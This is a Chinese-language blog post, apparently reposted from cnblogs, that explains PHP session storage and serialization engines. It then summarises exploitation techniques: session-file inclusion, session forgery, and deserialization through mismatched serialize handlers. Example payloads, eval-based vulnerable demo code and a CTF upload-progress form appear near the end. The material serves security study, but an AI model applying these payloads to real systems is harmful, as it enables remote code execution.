摩尔城的飞鹰 發表於 2023-1-8 23:22:00

PHP-Session利用总结

<h1 id="php-session-简介">PHP-Session 简介</h1>
<h2 id="基本概念">基本概念</h2>
<p><code>session</code>一般称作会话控制,<code>session</code>对象存储特定用户会话所需的属性及配置信息。</p>
<p>我自己的理解来说:<code>PHP session</code>是一个特殊的变量,它存储着我们与服务器会话的全部信息,该信息在PHP中一般是以文件在服务器中存储,服务器会为每个访问者创建一个<code>id</code>一般为<code>PHPSESSID</code>,这个id在请求时存储在<code>cookie</code>中,用于服务器识别用户身份。</p>
<h2 id="会话流程">会话流程</h2>
<p>当你开始一个会话时,<code>PHP</code>会尝试从请求中查找会话<code>ID</code>(也就是<code>cookie</code>中的<code>PHPSESSID</code>),如果请求中不存在该<code>ID</code>信息,<code>PHP</code>就会创建一个新的会话,并以<code>Set-Cookie</code>响应头发送给用户<code>ID</code>。会话开始之后,<code>PHP</code>就会将会话中的一些数据存到<code>$_SESSION</code>变量中,当<code>PHP</code>停止的时候,它会自动读取<code>$_SESSION</code>中的内容,并将其进行序列化并发送给会话保存管理器进行保存。</p>
<p>可以通过调用函数<code>session_start()</code>手动开始一个会话。如果配置项<code>session.auto_start</code>设置为1,那么请求开始的时候,会话会自动开始。</p>
<p><code>PHP</code>脚本执行完毕之后,会话会自动关闭。同时,也可以通过调用函数<code>session_write_close()</code>来手动关闭会话。</p>
<h2 id="常见配置">常见配置</h2>
<p>在<code>PHP</code>的安装目录下找到<code>php.ini</code>文件,这个文件主要的作用是对<code>PHP</code>进行一些配置</p>
<pre><code class="language-ini">session.save_handler = files #session的存储方式
session.save_path = "/var/lib/php/session" #session id存放路径
session.use_cookies= 1 #使用cookies在客户端保存会话
session.use_only_cookies = 1 #去保护URL中传送session id的用户
session.name = PHPSESSID #session名称(默认PHPSESSID)
session.auto_start = 0 #不启用请求自动初始化session
session.use_trans_sid = 0#如果客户端禁用了cookie,可以通过设置session.use_trans_sid来使标识的交互方式从cookie变为url传递
session.cookie_lifetime = 0 #cookie存活时间(0为直至浏览器重启,单位秒)
session.cookie_path = / #cookie的有效路径
session.cookie_domain = #cookie的有效域名
session.cookie_httponly = #httponly标记增加到cookie上(脚本语言无法抓取)
session.serialize_handler = php #PHP标准序列化
session.gc_maxlifetime =1440 #过期时间(默认24分钟,单位秒)
</code></pre>
<h2 id="存储引擎">存储引擎</h2>
<p><code>PHP</code>中的<code>session</code>内容默认是以文件的方式来存储的,存储方式由配置项<code>session.save_handler</code>来确定。存储文件是以<code>sess_PHPSESSID</code>来命名的,文件内容就是<code>$_SESSION</code>值得序列化内容。</p>
<p><code>session.serialize_handler</code> 配置项是用来设置<code>$_SESSION</code>序列化引擎得,在<code>php&gt;5.5.4</code>后默认是以<code>php</code>引擎进行序列得,除了该方式,还有其他引擎,不同得引擎所序列化的内容不同,也就是存储的内容不同。</p>
<table>
<thead>
<tr>
<th>存储引擎</th>
<th>存储方式</th>
</tr>
</thead>
<tbody>
<tr>
<td>php_binary</td>
<td>键名的长度对应的 ASCII 字符+键名+经过 serialize() 函数序列化处理的值</td>
</tr>
<tr>
<td>php</td>
<td>键名+竖线+经过 serialize() 函数序列处理的值</td>
</tr>
<tr>
<td>php_serialize</td>
<td>(PHP&gt;5.5.4) 经过 serialize() 函数序列化处理的数组</td>
</tr>
</tbody>
</table>
<p>在使用<code>PHP</code>的时候如果想要修改为其他的引擎,我们可以添加代码</p>
<pre><code class="language-php">ini_set('session.serialize_handler', '需要设置的引擎')
</code></pre>
<p>我们在存储的时候也可以使用<code>session_start(["serialize_handler"=&gt;"引擎"])</code>来以该引擎创建<code>session</code>(<code>PHP7</code>以后出现)</p>
<pre><code class="language-php">session_start(array `$options` = array()): bool
# 此参数是一个关联数组,如果提供,那么会用其中的项目覆盖 会话配置指示 中的配置项。此数组中的键无需包含 session. 前缀。
</code></pre>
<h3 id="php_binary">php_binary</h3>
<pre><code class="language-php">&lt;?php
session_start(["serialize_handler"=&gt;"php_binary"]);
$_SESSION["seizer"]="Hello ggbond";
</code></pre>
<p><img src="https://img2023.cnblogs.com/blog/2410932/202301/2410932-20230108232152378-1121983164.png" alt="image-20211230142238257" loading="lazy"></p>
<h3 id="php">php</h3>
<pre><code class="language-php">&lt;?php
session_start(["serialize_handler"=&gt;"php"]);
$_SESSION["seizer"]="Hello ggbond";
</code></pre>
<p><img src="https://img2023.cnblogs.com/blog/2410932/202301/2410932-20230108232153552-278711225.png" alt="image-20211230142311136" loading="lazy"></p>
<h3 id="php_serialize">php_serialize</h3>
<pre><code class="language-php">&lt;?php
session_start(["serialize_handler"=&gt;"php_serialize"]);
$_SESSION["seizer"]="Hello ggbond";
</code></pre>
<p><img src="https://img2023.cnblogs.com/blog/2410932/202301/2410932-20230108232154012-1688435005.png" alt="image-20211230142046779" loading="lazy"></p>
<h1 id="php-session利用">PHP-Session利用</h1>
<h2 id="文件包含">文件包含</h2>
<p>利用条件:存在文件包含,<code>session</code>文件的路径已知,且文件内容可控。</p>
<p><code>session</code>文件的路径可从<code>phpinfo</code>中的<code>session.save_path</code>可知,或者猜测路径</p>
<pre><code class="language-json">/var/lib/php/sessions/sess_PHPSESSIONID
/var/lib/php[\d]/sessions/sess_PHPSESSIONID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
</code></pre>
<p>然后通过写入内容并包含<code>session</code>文件即可获得flag,<code>session</code>文件名一般为<code>sess_PHPSESSID</code></p>
<p>如果<code>php</code>设置了<code>open_basedir</code>,限制了我们读取文件的范围,我们就算得知了<code>session</code>文件的存储路径,但是不在我们的读取范围里,这里可以考虑修改一下<code>session</code>文件存储的位置。</p>
<p>我们可以通过<code>session_start()</code>的<code>options</code>参数进行覆盖<code>php.ini</code>的配置<code>session.save_path</code>来修改保存路径,然后再进行文件包含。当然这个操作也可以通过<code>session_save_path()</code>函数完成。</p>
<h2 id="用户伪造">用户伪造</h2>
<p>利用条件:已知<code>PHP</code>所使用的<code>session</code>存储引擎,以及<code>session</code>文件的内容可控。</p>
<p>通过已知的存储引擎,我们通过构造<code>session</code>文件,并将其上传到<code>session</code>文件存储的位置,即可通过该<code>PHPSESSID</code>进行访问网站</p>
<h2 id="反序列化">反序列化</h2>
<p>当网站序列化存储 <code>session</code> 与反序列化读取 <code>session</code> 的方式不同时,就可能导致 <code>session</code> 反序列化漏洞的产生。 一般都是以 <code>php_serialize</code> 序列化存储 <code>session</code>, 以 <code>PHP</code> 反序列化读取 <code>session</code>,造成反序列化攻击。或者是可以通过序列化某些可利用方法进行构造<code>pop链</code>进行反序列化攻击。</p>
<h3 id="有_session赋值">有<code>$_SESSION</code>赋值</h3>
<p>举例:</p>
<p>demo1.php</p>
<pre><code class="language-php">&lt;?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["username"]=$_GET["u"];
</code></pre>
<p>demo2.php</p>
<pre><code class="language-php">&lt;?php
session_start();
class session {
    var $var;
    function __destruct() {
         eval($this-&gt;var);
    }
}
</code></pre>
<p><code>demo1.php</code>和<code>demo2.php</code>使用了不同的存储引擎,所以在进行序列化和反序列化的过程中可能会存在逃逸从而导致反序列化攻击</p>
<p>for example:</p>
<p>我们给<code>demo1.php</code>传入如下的参数</p>
<pre><code class="language-php">|O:7:"session":1:{s:3:"var";s:10:"phpinfo();";}
php_serialize序列化后=&gt;
a:1:{s:8:"username";s:47:"|O:7:"session":1:{s:3:"var";s:10:"phpinfo();";}";}
</code></pre>
<p>接下来<code>demo2.php</code>使用<code>php</code>存储引擎来反序列化,</p>
<pre><code class="language-php">a:1:{s:8:"username";s:47:"|O:7:"session":1:{s:3:"var";s:10:"phpinfo();";}";}
php反序列化后=&gt;
['a:1:{s:8:"username";s:47:"'=&gt;'O:7:"session":1:{s:3:"var";s:10:"phpinfo();";}']
</code></pre>
<p>细心的童鞋会发现,在反序列化的过程中难道不会报错吗?这里提到一个<code>unserialize</code> 的特性,在执行<code>unserialize</code> 的时候,如果字符串前面满足了可被反序列化的规则即后续的不规则字符会被忽略。</p>
<h3 id="无_session赋值">无<code>$_SESSION</code>赋值</h3>
<p><code>PHP</code>还存在一个<code>upload_porcess</code>机制,可以在<code>$_SESSION</code>中创建一个键值对,其中的值可控。</p>
<p><img src="https://img2023.cnblogs.com/blog/2410932/202301/2410932-20230108232154481-1290741716.png" alt="image-20211230214227455" loading="lazy"></p>
<p>以 Jarvis OJ 平台的 PHPINFO 题目为例,环境地址:http://web.jarvisoj.com:32784/</p>
<pre><code class="language-php">&lt;?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
      $this-&gt;mdzz = 'phpinfo();';
    }

    function __destruct()
    {
      eval($this-&gt;mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?&gt;
</code></pre>
<p>通过查看<code>phpinfo</code>,需要知道<code>session.upload_process.enabled</code>配置项为<code>On</code>,并且具有存储引擎差异,我们就可以利用这一特性。</p>
<p>查看<code>session.upload_progress.name</code>字段获得变量名为<code>PHP_SESSION_UPLOAD_PROGRESS</code>,我们可以在本地创建一个<code>form.html</code>提交表单。</p>
<pre><code class="language-html">&lt;form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"&gt;
    &lt;input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /&gt;
    &lt;input type="file" name="file" /&gt;
    &lt;input type="submit" /&gt;
&lt;/form&gt;
</code></pre>
<p>使用 <code>bp</code>抓包,在 <code>PHP_SESSION_UPLOAD_PROGRESS</code> 的 <code>value</code> 值123后面添加<code>|</code> 和序列化的字符串</p>
<p><img src="https://img2023.cnblogs.com/blog/2410932/202301/2410932-20230108232155040-634174412.png" alt="image-20211230220004788" loading="lazy"></p>
<p>或者可以使用<code>postman</code>进行传参</p>
<p><img src="https://img2023.cnblogs.com/blog/2410932/202301/2410932-20230108232155525-1035498210.png" alt="image-20211230220031024" loading="lazy"></p>
<h3 id="文件上传">文件上传</h3>
<p>利用条件:<code>session</code>文件存储路径已知且可以上传,有可利用的反序列化攻击链,最近刚刚打过的<code>SCTF2021</code>中<code>upload_it</code>就是该题型</p>
<p>传送门:SCTF2021</p><br><br>
来源:https://www.cnblogs.com/seizer/p/17035734.html
頁: [1]
查看完整版本: PHP-Session利用总结